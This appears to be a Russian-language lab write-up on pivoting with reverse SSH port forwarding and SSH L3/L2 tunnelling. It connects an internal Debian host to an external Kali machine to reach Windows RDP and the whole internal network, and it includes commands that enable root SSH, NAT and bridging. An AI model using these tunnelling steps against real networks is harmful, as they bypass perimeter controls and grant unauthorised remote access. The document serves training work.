# Практика №4. Revers Shells & Reverse SSH connections ## 1) SSH port forwarding / reverse ssh connect Для начала надо разрешить удалённый доступ к Win 10 и настроить Debian Внутри системы. Настройка Debian: файл /etc/network/interfaces ![image](https://hackmd.io/_uploads/rkloEAuZ0.png) На внешней kali linux надо включить ssh. > sudo service ssh start Для проверки корректности работы можно подключиться с debian на kali с помощью команды ssh user@<kali_ip>. Для SSH port forwarding надо воспользоваться реверсивным коннектом. Команда: > ssh -R <порт который вешаем на kali - то есть порт, по которому мы с кали будем подключаться к винде и по итогу подключение будет к кали по этому порту>:<ip такой, чтобы при подключении от kali было подключение по этому ip. А нам надо подключиться к винде - значит тут должен быть ip wind’ы - или же localhost>: <порт, по которому будет проходить подключение к винде - то есть порт винды> Пример: > ssh -R 3395:localhost:3389 user@\<kali ip\> Для проверки можно написать > ss -tunlp Должно быть видно 127.0.0.1::3395. Это тот самый прокинутый порт. К нему можно подключиться с kali, выполнив команду > xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3395 > > где user - имя пользователя на win10 Ещё один способ - прокинуть подключение на другую машинку. Например: есть Debian и win в одной сети. Есть возможность с debian реверсивно подключиться к внешней kali и указать подключение на win машинку. Как сделать: В debian: > ssh -R 3395:<ip винды>:3389 user@\<kali ip\> > xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3395 Также можно воспользоватсься meterpeter. ## 2) ssh tunneling L3 Для туннелирования надо настроить маршрутизацию трафика. В kali: > sudo nano /etc/ssh/sshd_config > Добавить строчки: > PermitRootLogin yes > PermitTunnel yes После чего перезапустить ssh > sudo service ssh restart Далее надо поменять логин для root пользователя: > sudo passwd root > \*задать пароль 2 раза\* Для проверки можно попробовать зайти по ssh через пользователя root. > root@debian: ssh root@\<ip kali\> Далее на Debian надо настроить туннелирование командой: ssh -w 0:0 root@\<kali ip\> После этого на kali и debian должен появиться новый интерфейс. Его надо включить командой > ip link set tun0 up Также на Kali и Debian надо задать статические ip адреса. > kali@kali: ip addr add 10.8.0.1/24 dev tun0 > deb@deb: ip addr add 10.8.0.2/24 dev tun0 Для проверки можно пингануть оба устройства. Однако внешняя kali не может пинговать устройства внутри инфраструктуры кроме debian. Для этого надо сделать маршрутизацию между tun0 и ens3 Debian: > nano /etc/sysctl.conf > раскомментировать строчку …ip_forward = 1 > сохранить, выйти, написать sysctl -p Kali: > ip route add 192.168.1.0/24(сеть в которой находится debian) via 10.8.0.2 Также надо настроить NAT. Debian: > iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE Доступ получен. Возможности: > подцепиться к firewall LAN и управлять им изнутри (192.168.1.1), > подключиться к любому устройству в инфраструктуре (уже напрямую используя команду xfreerdp не с localhost, А с ip компа) ## 3) ssh tunneling L2 Нужна новая схема инфраструктуры. ![image](https://hackmd.io/_uploads/SyJ7GAu-R.png) Реализация туннелирования: На Debian: > apt update > apt install bridge-utils > sudo nano /etc/networking/interfaces ![image](https://hackmd.io/_uploads/HypSfROZ0.png) > service networking restart После этого ip должен отображаться в br0 интерфейсе. Для проверки bridge можно попробовать воспользоваться ping 8.8.8.8 с устройства внутри инфраструктуры. Далее надо настроить ssh на Kali: - sudo nano /etc/ssh/sshd_config Добавить следующее: > PermitRootLogin yes > PermitTunnel yes Перезапустить ssh: > sudo service ssh restart Далее надо поменять логин для root пользователя: > sudo passwd root > \*задать пароль 2 раза\* Kali настроена. Далее надо подключиться к kali от debian - создать тоннель. > ssh root@\<kali ip\> -o Tunnel=ethernet -w any:any После этого на Kali и Debian появится интерфейс tap* На Debian его надо добавить в созданный ранее bridge. ![image](https://hackmd.io/_uploads/SyJOmRubR.png) После чего поднять интерфейсы на Kali и Debian: > ip link set dev tap0 up Тоннель создан. > Можно с помощью команды tcpdump -i tap0 посмотреть, что происходит (вводить на кали) > Можно получить адрес по dhcp: dhclient tap0 (вводить на kali) Таким образом мы получили полный доступ до инфраструктуры - так, будто мы находимся внутри инфраструктуры.